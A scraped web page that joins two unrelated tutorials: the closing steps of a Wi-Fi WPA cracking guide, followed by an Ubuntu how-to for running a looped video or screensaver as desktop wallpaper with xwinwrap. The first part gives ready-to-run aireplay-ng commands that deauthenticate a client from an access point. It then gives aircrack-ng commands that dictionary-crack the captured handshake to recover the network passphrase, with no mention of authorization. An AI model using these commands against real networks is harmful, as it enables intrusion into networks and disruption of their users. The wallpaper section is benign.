Important: Do NOT use the ”- -ivs” option. You must capture the full packets.

Step 3 - Use aireplay-ng to deauthenticate the wireless client

aireplay-ng -0 3 -a 00:1C:10:26:A9:39 -c 00:0F:B5:EC:99:6F ath0

Where:

-0 means deauthentication

3 is the number of deauths to send (you can send muliple if you wish)

-a 00:1C:10:26:A9:39 is the MAC address of the access point

-c 00:0F:B5:EC:99:6F is the MAC address of the client you are deauthing

ath0 is the interface name

Step 4 - Run aircrack-ng to crack the pre-shared key

aircrack-ng -w dictionary.txt -b 00:1C:10:26:A9:39 psk*.cap

Where:

-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.

*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.

Done now wait for some time It depends upon ur Dictionary file and the passphrase ,

You should now have your PSK passphrase

&<>evilmonkey000<>&

Howto Loop Movie, Video, and Display Screensaver as Desktop Wallpaper in Ubuntu

Want to loop a video clip or movie on your desktop? I did and found a nice little tool that does just that



First lets grab some essential building libraries via the terminal: Applications->Accessories->Terminal

sudo apt-get install build-essential libx11-dev x11proto-xext-dev libxrender-dev libxext-dev cvs

Now lets Install xwinwrap:

cvs -d :pserver:anoncvs@cvs.freedesktop.org:/cvs/xapps co xwinwrap
cd xwinwrap
make
sudo cp xwinwrap /usr/bin


Now lets start our video/movie as the Desktop Wallpaper!
First find a video/movie you would like to set as your backround and issue this command:

xwinwrap -ni -fs -s -st -sp -b -nf -- mplayer -wid WID -nosound "Steal This Film II.Xvid.avi" -loop 0


Now everything should be working fine, if you would like sound, remove -nosound

You can also display Screensavers as your background:

nice -n 15 ./xwinwrap -ni -o 0.20 -fs -s -sp -st -b -nf -- /usr/lib/xscreensaver/glmatrix -root -window-id WID